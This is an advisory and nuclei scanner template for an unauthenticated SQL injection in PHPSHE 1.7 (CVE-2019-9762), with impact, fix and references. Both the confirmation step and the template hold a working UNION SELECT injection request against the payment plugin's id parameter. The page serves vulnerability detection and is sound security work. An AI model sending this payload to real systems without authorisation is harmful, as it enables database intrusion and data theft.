CVE-2019-9762· phpshe / phpshe· CWE-89
PHPSHE 1.7 - SQL Injection
criticalseverity
9.8CVSS score
5.9%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it
A SQL Injection was discovered in PHPSHE 1.7 in include/plugin/payment/alipay/pay.php with the parameter id. The vulnerability does not need any authentication.
Impact
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
Fix
Update to the latest version of PHPSHE or apply security patches to sanitize input parameters.
How to confirm it
Send: GET /include/plugin/payment/alipay/pay.php?id=pay%20where%201=1%20union%20select%201,2,CONCAT(md5({{num}})),4,5,6,7,8,9,10,11,12%23_
Positive when: contains "{{md5({{num}})}}"Run it with nuclei: nuclei -id CVE-2019-9762 -u <target>
The full check
id: CVE-2019-9762
info:
name: PHPSHE 1.7 - SQL Injection
author: DhiyaneshDK
severity: critical
description: |
A SQL Injection was discovered in PHPSHE 1.7 in include/plugin/payment/alipay/pay.php with the parameter id. The vulnerability does not need any authentication.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to the latest version of PHPSHE or apply security patches to sanitize input parameters.
reference:
- https://gitee.com/koyshe/phpshe/issues/ITC0C
- https://nvd.nist.gov/vuln/detail/CVE-2019-9762
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-9762
cwe-id: CWE-89
epss-score: 0.05879
epss-percentile: 0.93274
cpe: cpe:2.3:a:phpshe:phpshe:1.7:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: phpshe
product: phpshe
fofa-query: app="PHPSHE"
tags: cve,cve2019,phpshe,sqli,vkev,vuln
variables:
num: "999999999"
http:
- raw:
- |
GET /include/plugin/payment/alipay/pay.php?id=pay%20where%201=1%20union%20select%201,2,CONCAT(md5({{num}})),4,5,6,7,8,9,10,11,12%23_ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '{{md5({{num}})}}'References
Use this check only on systems you are authorised to test. Where the data comes from